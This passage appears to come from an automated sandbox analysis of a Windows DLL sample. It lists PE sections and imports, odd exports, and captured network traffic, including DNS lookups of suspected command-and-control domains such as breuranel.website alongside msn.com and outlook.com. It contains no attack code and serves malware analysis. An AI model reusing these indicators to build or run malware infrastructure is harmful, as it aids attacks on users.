IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7b000	0x1fc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x79f71	0x7a000	False	0.510071801358	data	6.75461975802	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7b000	0x2e586	0x2e600	False	0.556377400606	data	5.60164615331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xaa000	0x9b19c	0x1800	False	0.190266927083	data	4.15778005426	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x146000	0x53d0	0x5400	False	0.752650669643	data	6.72453697464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	LockResource, FreeLibrary, GetProcAddress, VirtualProtect, OpenProcess, GetCurrentThreadId, Sleep, GetSystemTime, CreateSemaphoreW, LoadLibraryW, GetModuleFileNameW, GetModuleHandleW, GetTempPathW, CreateFileW, GetVolumeInformationW, QueryPerformanceCounter, GetVersionExW, GetDateFormatW, OutputDebugStringW, CloseHandle, ReadConsoleW, ReadFile, GetConsoleMode, GetConsoleCP, WriteFile, FlushFileBuffers, HeapSize, SetStdHandle, SetFilePointerEx, GetFileSizeEx, GetProcessHeap, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, SetConsoleCtrlHandler, GetFileType, GetStdHandle, HeapReAlloc, HeapFree, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, WideCharToMultiByte, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetCurrentProcess, TerminateProcess, GetCurrentProcessId, InitializeSListHead, RaiseException, RtlUnwind, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, LoadLibraryExW, QueryPerformanceFrequency, ExitProcess, GetModuleHandleExW, GetCurrentThread, HeapAlloc, GetTimeZoneInformation, GetTimeFormatW, WriteConsoleW
USER32.dll	TranslateMessage, CreateMenu, UnregisterHotKey, DeferWindowPos, RegisterWindowMessageW, BeginDeferWindowPos, GetPropW
MSACM32.dll	acmFormatChooseW, acmFilterEnumW, acmFilterTagDetailsW, acmFilterDetailsW, acmDriverClose, acmFormatDetailsW, acmDriverOpen, acmDriverPriority, acmDriverMessage, acmFormatTagEnumW, acmDriverAddW, acmFilterTagEnumW, acmFormatTagDetailsW, acmDriverEnum, acmFormatEnumW, acmDriverID, acmFormatSuggest, acmDriverDetailsW, acmFilterChooseW, acmGetVersion, acmDriverRemove, acmMetrics

Exports

Name	Ordinal	Address
BeGrass	1	0x10016020
Fieldeight	2	0x100162f0
Often	3	0x10016510
Townenter	4	0x100167a0

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2021 22:22:51.409462929 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:51.409511089 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.409620047 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:51.464101076 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:51.464134932 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.785322905 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.785413027 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:51.787719011 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:51.787749052 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.788149118 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.995143890 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:51.997853041 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:52.057689905 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:52.099163055 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:52.178353071 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:52.178436995 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:52.178548098 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:52.181118965 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:52.181142092 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:52.181238890 CEST	49747	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:52.181252003 CEST	443	49747	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.317625046 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:54.317667007 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.318042994 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:54.328227043 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:54.328246117 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.530364037 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.530494928 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:54.533685923 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:54.533716917 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.534018040 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:54.610078096 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:55.980264902 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:56.023143053 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:56.094116926 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:56.094207048 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:56.094338894 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:56.097986937 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:56.098021984 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:22:56.098066092 CEST	49749	443	192.168.2.7	13.82.28.61
Oct 11, 2021 22:22:56.098076105 CEST	443	49749	13.82.28.61	192.168.2.7
Oct 11, 2021 22:23:35.676913023 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:35.676961899 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:35.677093029 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:35.677969933 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:35.677997112 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.085515022 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.085666895 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.088834047 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.088857889 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.089222908 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.091949940 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.139141083 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.223325968 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.223424911 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.223597050 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.223814964 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.223838091 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.223880053 CEST	49762	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.223887920 CEST	443	49762	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.250802040 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.250848055 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.250967979 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.251497030 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.251522064 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.347354889 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.347537994 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.352219105 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.352241993 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.352536917 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.355765104 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.383997917 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.384078026 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.387783051 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.387818098 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.387833118 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.387845039 CEST	49763	443	192.168.2.7	40.101.91.82
Oct 11, 2021 22:23:36.387852907 CEST	443	49763	40.101.91.82	192.168.2.7
Oct 11, 2021 22:23:36.423254967 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.423302889 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.423427105 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.423950911 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.423974991 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.527884007 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.532284021 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.532450914 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.532577991 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.533154011 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.536190987 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.574587107 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.574681044 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.574788094 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.575222969 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.575248957 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.575265884 CEST	49764	443	192.168.2.7	52.97.183.162
Oct 11, 2021 22:23:36.575274944 CEST	443	49764	52.97.183.162	192.168.2.7
Oct 11, 2021 22:23:36.882900000 CEST	49765	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.882936001 CEST	443	49765	40.97.164.146	192.168.2.7
Oct 11, 2021 22:23:36.883039951 CEST	49765	443	192.168.2.7	40.97.164.146
Oct 11, 2021 22:23:36.884531021 CEST	49765	443	192.168.2.7	40.97.164.146

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2021 22:22:51.374481916 CEST	56590	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:22:51.392652035 CEST	53	56590	8.8.8.8	192.168.2.7
Oct 11, 2021 22:22:52.188752890 CEST	60501	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:22:54.283799887 CEST	53775	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:22:54.299629927 CEST	53	53775	8.8.8.8	192.168.2.7
Oct 11, 2021 22:22:56.114062071 CEST	51837	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:15.218827963 CEST	58739	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:15.239259005 CEST	53	58739	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:16.769084930 CEST	60338	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:16.788223982 CEST	53	60338	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:35.656286955 CEST	54329	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:35.674390078 CEST	53	54329	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:36.228514910 CEST	58052	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:36.248886108 CEST	53	58052	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:36.403567076 CEST	54008	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:36.421677113 CEST	53	54008	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:36.862098932 CEST	59451	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:36.879776955 CEST	53	59451	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:37.430321932 CEST	52914	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:37.448506117 CEST	53	52914	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:37.616125107 CEST	64569	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:37.634171009 CEST	53	64569	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:56.992526054 CEST	50781	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:57.015857935 CEST	53	50781	8.8.8.8	192.168.2.7
Oct 11, 2021 22:23:57.968406916 CEST	54911	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:23:57.989510059 CEST	53	54911	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:17.221970081 CEST	60983	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:17.239850998 CEST	53	60983	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:17.684597969 CEST	49247	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:18.050049067 CEST	52286	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:18.066231012 CEST	53	52286	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:18.577414036 CEST	56064	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:38.077528954 CEST	63744	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:38.098494053 CEST	53	63744	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:39.034653902 CEST	61457	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:39.052957058 CEST	53	61457	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:58.291340113 CEST	58367	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:58.309329033 CEST	53	58367	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:58.862272978 CEST	60599	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:58.881478071 CEST	53	60599	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:59.034205914 CEST	59571	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:59.054173946 CEST	53	59571	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:59.093812943 CEST	52689	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:59.111654997 CEST	53	52689	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:59.672101974 CEST	50290	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:59.695882082 CEST	53	50290	8.8.8.8	192.168.2.7
Oct 11, 2021 22:24:59.854630947 CEST	60427	53	192.168.2.7	8.8.8.8
Oct 11, 2021 22:24:59.875370026 CEST	53	60427	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 11, 2021 22:22:51.374481916 CEST	192.168.2.7	8.8.8.8	0xfa62	Standard query (0)	msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:22:52.188752890 CEST	192.168.2.7	8.8.8.8	0x21b3	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:22:54.283799887 CEST	192.168.2.7	8.8.8.8	0x652b	Standard query (0)	msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:22:56.114062071 CEST	192.168.2.7	8.8.8.8	0x88d0	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:15.218827963 CEST	192.168.2.7	8.8.8.8	0x405b	Standard query (0)	breuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:16.769084930 CEST	192.168.2.7	8.8.8.8	0x3d59	Standard query (0)	breuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.656286955 CEST	192.168.2.7	8.8.8.8	0xe9cb	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.228514910 CEST	192.168.2.7	8.8.8.8	0x8341	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.403567076 CEST	192.168.2.7	8.8.8.8	0xa1aa	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.862098932 CEST	192.168.2.7	8.8.8.8	0x7d86	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.430321932 CEST	192.168.2.7	8.8.8.8	0xf4db	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.616125107 CEST	192.168.2.7	8.8.8.8	0x2aa7	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:56.992526054 CEST	192.168.2.7	8.8.8.8	0xaf8	Standard query (0)	areuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:57.968406916 CEST	192.168.2.7	8.8.8.8	0xbdb0	Standard query (0)	areuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:17.221970081 CEST	192.168.2.7	8.8.8.8	0xd257	Standard query (0)	msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:17.684597969 CEST	192.168.2.7	8.8.8.8	0x849e	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:18.050049067 CEST	192.168.2.7	8.8.8.8	0x66d4	Standard query (0)	msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:18.577414036 CEST	192.168.2.7	8.8.8.8	0x1499	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:38.077528954 CEST	192.168.2.7	8.8.8.8	0xbd54	Standard query (0)	breuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:39.034653902 CEST	192.168.2.7	8.8.8.8	0x6ab0	Standard query (0)	breuranel.website	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.291340113 CEST	192.168.2.7	8.8.8.8	0x4071	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.862272978 CEST	192.168.2.7	8.8.8.8	0xe22c	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.034205914 CEST	192.168.2.7	8.8.8.8	0xe54	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.093812943 CEST	192.168.2.7	8.8.8.8	0xa669	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.672101974 CEST	192.168.2.7	8.8.8.8	0xcaca	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.854630947 CEST	192.168.2.7	8.8.8.8	0x83b1	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 11, 2021 22:22:51.392652035 CEST	8.8.8.8	192.168.2.7	0xfa62	No error (0)	msn.com		13.82.28.61	A (IP address)	IN (0x0001)
Oct 11, 2021 22:22:52.206620932 CEST	8.8.8.8	192.168.2.7	0x21b3	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:22:54.299629927 CEST	8.8.8.8	192.168.2.7	0x652b	No error (0)	msn.com		13.82.28.61	A (IP address)	IN (0x0001)
Oct 11, 2021 22:22:56.132452011 CEST	8.8.8.8	192.168.2.7	0x88d0	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:15.239259005 CEST	8.8.8.8	192.168.2.7	0x405b	Name error (3)	breuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:16.788223982 CEST	8.8.8.8	192.168.2.7	0x3d59	Name error (3)	breuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:35.674390078 CEST	8.8.8.8	192.168.2.7	0xe9cb	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	HHN-efz.ms-acdc.office.com		40.101.91.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	HHN-efz.ms-acdc.office.com		52.98.171.242	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	HHN-efz.ms-acdc.office.com		52.97.149.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.248886108 CEST	8.8.8.8	192.168.2.7	0x8341	No error (0)	HHN-efz.ms-acdc.office.com		40.101.61.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	HHN-efz.ms-acdc.office.com		52.97.183.162	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	HHN-efz.ms-acdc.office.com		52.98.208.66	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	HHN-efz.ms-acdc.office.com		52.98.214.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.421677113 CEST	8.8.8.8	192.168.2.7	0xa1aa	No error (0)	HHN-efz.ms-acdc.office.com		40.101.60.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:36.879776955 CEST	8.8.8.8	192.168.2.7	0x7d86	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	HHN-efz.ms-acdc.office.com		52.97.151.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	HHN-efz.ms-acdc.office.com		52.97.149.242	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	HHN-efz.ms-acdc.office.com		52.98.152.162	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.448506117 CEST	8.8.8.8	192.168.2.7	0xf4db	No error (0)	HHN-efz.ms-acdc.office.com		52.97.218.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
